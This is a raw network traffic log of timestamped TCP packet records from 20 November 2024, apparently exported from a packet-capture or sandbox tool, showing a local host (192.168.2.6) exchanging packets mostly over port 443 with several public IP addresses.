Nov 20, 2024 08:12:54.548213005 CET	49958	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.549364090 CET	49958	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.549365997 CET	49962	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.549390078 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.549416065 CET	443	49958	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.549427032 CET	49958	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.549443960 CET	443	49958	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.549889088 CET	49962	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.549892902 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.552526951 CET	49965	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.552566051 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.552645922 CET	49965	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.552866936 CET	49965	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.552879095 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.557331085 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.557363033 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.557410955 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.557435989 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.557470083 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.557756901 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.557773113 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.557790041 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.557796001 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.560967922 CET	49966	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.561008930 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.561100960 CET	49966	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.561227083 CET	49966	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.561239004 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.584422112 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.584834099 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.585059881 CET	49960	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.585108995 CET	49960	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.585120916 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.585134029 CET	49960	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.585139036 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.590511084 CET	49967	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.590539932 CET	443	49967	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.590600967 CET	49967	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.590766907 CET	49967	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.590776920 CET	443	49967	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.593075037 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.593086004 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.593112946 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.593142033 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.593149900 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.593163967 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.593205929 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.593297958 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.593606949 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.593693972 CET	49961	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.594221115 CET	49961	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.594233036 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.594248056 CET	49961	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.594253063 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.595194101 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.595220089 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.595262051 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.595299006 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.595309973 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.595357895 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.595357895 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.595896006 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.595911026 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.599340916 CET	49968	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.599363089 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.599941015 CET	49968	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.600184917 CET	49968	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.600193024 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.614243984 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.614260912 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.614310026 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.614593983 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.614603043 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.616045952 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:54.625338078 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:12:54.625669003 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:12:54.625682116 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:12:54.626717091 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:12:54.626774073 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:12:54.627806902 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:12:54.627875090 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:12:54.631001949 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.631031036 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.631109953 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.631139994 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.631195068 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.633665085 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.633687019 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.633729935 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.633744955 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.633773088 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.633790970 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.646688938 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:54.646883965 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:54.646981001 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:54.647367954 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:54.647386074 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:54.650376081 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.650552988 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.650612116 CET	49962	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.652920008 CET	49962	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.652940035 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.652951002 CET	49962	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.652956963 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.655925989 CET	49972	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.656025887 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.656131983 CET	49972	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.656528950 CET	49972	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.656562090 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.681490898 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:12:54.681538105 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:12:54.722587109 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.722620964 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.722688913 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.722722054 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.722744942 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.722762108 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.723958969 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.723983049 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.724035978 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.724047899 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.724073887 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.724091053 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.725012064 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.725039005 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.725091934 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.725114107 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.725147009 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.726773977 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.726800919 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.726847887 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.726866961 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.726885080 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.726902008 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.727823019 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:12:54.814984083 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.815016031 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.815061092 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.815095901 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.815124035 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.815143108 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.815772057 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.815795898 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.815825939 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.815839052 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.815865993 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.815881014 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.816562891 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.816582918 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.816616058 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.816631079 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.816652060 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.816670895 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.817514896 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.817539930 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.818408966 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.818454981 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.818454981 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.818480968 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.818506002 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.818531990 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.818733931 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.818783998 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.818809986 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.818857908 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.818871021 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.818875074 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.818895102 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.818922043 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.819195986 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.819215059 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.837582111 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.837613106 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.837788105 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.840838909 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.840862989 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.880426884 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:54.880590916 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:54.882615089 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:54.882625103 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:54.883224010 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:54.930593967 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:54.936023951 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:54.983323097 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:55.192580938 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.193278074 CET	49965	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.193305016 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.197436094 CET	49965	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.197443962 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.198385954 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:55.198447943 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:55.198574066 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:55.198574066 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:55.198600054 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:55.198625088 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:55.198636055 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:55.210767031 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.211507082 CET	49966	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.211580038 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.212400913 CET	49966	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.212414980 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.225872040 CET	443	49967	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.230138063 CET	49967	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.230153084 CET	443	49967	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.230714083 CET	49967	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.230720043 CET	443	49967	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.248439074 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.248740911 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.248750925 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.249758005 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.249859095 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.250204086 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.250267029 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.250545025 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.250565052 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.251606941 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:55.251636982 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:55.252702951 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:55.253060102 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:55.253077030 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:55.260493994 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.261425018 CET	49968	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.261483908 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.262068987 CET	49968	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.262089014 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.292490959 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.292771101 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.292823076 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.292876959 CET	49965	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.293728113 CET	49965	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.293742895 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.293776989 CET	49965	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.293782949 CET	443	49965	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.296479940 CET	49976	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.296506882 CET	443	49976	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.296813011 CET	49976	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.297019958 CET	49976	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.297029018 CET	443	49976	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.304887056 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.320413113 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.320493937 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.320590019 CET	49966	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.323299885 CET	49966	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.323299885 CET	49966	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.323385000 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.323420048 CET	443	49966	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.326212883 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.326283932 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.326549053 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.326670885 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.326692104 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.333947897 CET	443	49967	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.334013939 CET	443	49967	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.334131002 CET	49967	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.334599972 CET	49967	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.334609032 CET	443	49967	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.339071989 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.339099884 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.339658022 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.339698076 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.339701891 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.342962980 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.343326092 CET	49972	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.343338966 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.343782902 CET	49972	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.343786955 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.367423058 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.367803097 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.367867947 CET	49968	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.371539116 CET	49968	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.371578932 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.371721983 CET	49968	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.371738911 CET	443	49968	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.376262903 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.376327991 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.376887083 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.377223969 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.377257109 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.387872934 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.387897968 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.387906075 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.387939930 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.387972116 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.387998104 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.388017893 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.388017893 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.388030052 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.388042927 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.388106108 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.459156036 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.459352016 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.459461927 CET	49972	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.460206985 CET	49972	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.460227966 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.460239887 CET	49972	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.460246086 CET	443	49972	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.462873936 CET	49980	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.462941885 CET	443	49980	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.463741064 CET	49980	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.464276075 CET	49980	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:55.464303017 CET	443	49980	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.474191904 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.474221945 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.474260092 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.474282980 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.474292994 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.474390030 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.476388931 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.476411104 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.476473093 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.476480007 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.476515055 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.477080107 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.477149963 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.477164984 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.481138945 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.481245995 CET	49971	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.481259108 CET	443	49971	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.496015072 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.496438980 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.496459961 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.497539997 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.497637987 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.498038054 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.498102903 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.498200893 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.498214960 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.539956093 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.614954948 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.614978075 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.615011930 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.615020990 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.615046024 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.615050077 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.615106106 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.615127087 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.615127087 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.616338015 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.700759888 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.700788975 CET	443	49974	13.107.246.45	192.168.2.6
